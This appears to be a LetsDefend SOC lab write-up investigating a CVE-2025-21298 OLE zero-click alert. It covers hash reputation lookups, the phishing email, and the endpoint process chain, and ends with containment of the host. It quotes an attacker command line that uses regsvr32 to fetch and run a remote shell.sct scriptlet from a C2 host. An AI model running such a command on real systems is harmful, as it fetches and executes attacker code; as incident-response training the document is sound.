SOC336 - OLE Zero Click RCE

Category: SOC - LetsDefend - CVE-2025-21298

Windows OLE Zero-Click RCE Exploitation Detection (CVE-2025-21298)

SOC336 - OLE Zero Click RCE

Getting Started

By now, you should have:

1. Taken ownership of the alert (click the person icon under the Action column).
2. Created a case to start your investigation (click the double arrows to the left of the check mark in the Action column).

Understand the Alert

Before jumping into tools, start by understanding the alert’s background.

Key details from the alert:

• Rule: SOC 336 — Windows OLE Zero-Click RCE Exploitation Detection (CVE-2025-21298)
• Attachment: mail.rtf
• Trigger Reason: Malicious RTF attachment matched a known CVE-2025-21298 exploit pattern

You won’t always understand every part of an alert right away — and that’s okay. For example, I hadn’t seen this vulnerability before, so I did a quick open-web search for CVE-2025-21298.

The National Vulnerability Database linked me to Microsoft’s advisory, which revealed:

1. Initial Access Vector: User opens a crafted email containing embedded commands that can lead to remote code execution.
2. What OLE Is: Object Linking and Embedding (OLE) lets you embed or link documents and other objects — which can be abused in attacks.

From this, we can start mapping out a possible attack chain and plan what to check next.

At this stage, note any relevant artifacts, such as:

• Users involved
• File hashes
• IP addresses
• Hostnames
• Filenames
• Timestamps
• Actions taken (allowed or denied)

Investigation Details:

I start by running intelligence searches on basic artifacts—such as file hashes, IP addresses, and domain names—to establish a baseline of their reputation. The nature of the investigation determines which tools I choose for these searches. For this case, I submitted the hash to four different platforms: (VT - X- Force - Talos)

• VT: 24/62

  CVE-2025–21298

  RTF

  Exploit

• X- Force: High Risk

  Family Name: CVE-2025–21298

  Exploit

  RTF

• Talos: Malicious

  Rich Text Format Data

  236 Bytes

  CVE-2025–21298

Attachment Hash : df993d037cdb77a435d6993a37e7750dbbb16b2df64916499845b56aa9194184

VirusTotal:

IBM X-Force Exchange:

Cisco Talos Intelligence:

You could also investigate the SMTP address, but for brevity, let’s shift focus to email and endpoint security.

To better understand the incident, I pivoted to email security. In this case, the most recent email turned out to be the one sent by the attacker. However, in real scenarios, this is unlikely, and you may need to search for the malicious message based on its sender or attachment

After opening up the email, take note of the timestamp (Feb 04, 2025 5:12 AM) and the final action (allowed).

• A series of questions based off this information can be formed:
  • Did the user Austin@letsdefend.io click on the attachment?
  • Did any other users receive this email? If so did they click?
  • What does the attachment do?

Using those questions as a guide, I opened AnyRun as my sandbox of choice and uploaded the zip file containing the malware sample. Keeping all the default settings, max the time, and allow the malware to run. Whilst it does its thing, let’s pivot into endpoint security. (P.S. Here’s the report. I’m not going to cover the malware analysis in this post.)

You can perform a search on either the host name or the hash. Select host Austin (172.16.17.137)

Once we located the host, I begin looking for processes related to Outlook. Unfortunately, we can’t search for processes so we must manually look. I came across the OUTLOOK.EXE, the process native to Microsoft Outlook, and when we further investigate the second instance of this process, we see it spawns cmd.exe who spawns regsvr32.exe.

• Target Process Command Line : regsvr32.exe /s /u /i:[http://84.38.130.118.com/shell.sct](http://84.38.130.118.com/shell.sct) scrobj.dll
• Process User : DESKTOP-USER\Austin
• Parent Name : OUTLOOK.EXE
• Parent Path : C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE
• Command Line : "C:\Windows\System32\cmd.exe /c regsvr32.exe /s /u /i:http://84.38.130.118.com/shell.sct scrobj.dll"

Now we have additional artifacts we can use to create a narrative for this alert. This chain of activity confirms our user Austin@letsdefend.io did in fact open or preview the email (this vulnerability does not require the user to click on the attachment). Dissecting the commandline, the malicious attachment utilizes regsvr32.exe which is a native windows binary, used by attackers to silently proxy malicious code. In this case, we can see this utility being used to grab a file hosted at hxxp[://]84[.]38[.]130[.]118[.] com/shell[.]sct.

This is in fact the address of our command and control (C2) server. Therefore, we need to determine whether a connection was successfully established to the IP address. Within the log management tab, we will run a search on the destination address.

Upon running this search, we discover one proxy log entry detailing a successful outbound connection to the IP address (84[.]38[.]130[.]118) previously found in the command line on the host.

Now that we have confirmed a successful C2 connection has ben established, following Let’s Defend response procedures, we can go ahead and contain the host by going back to the Endpoint Security tab.

Sweet. Now that we have determined that this alert was in fact true positive, we can finish our writeup and answer the questions outlined in the Playbook Walkthrough.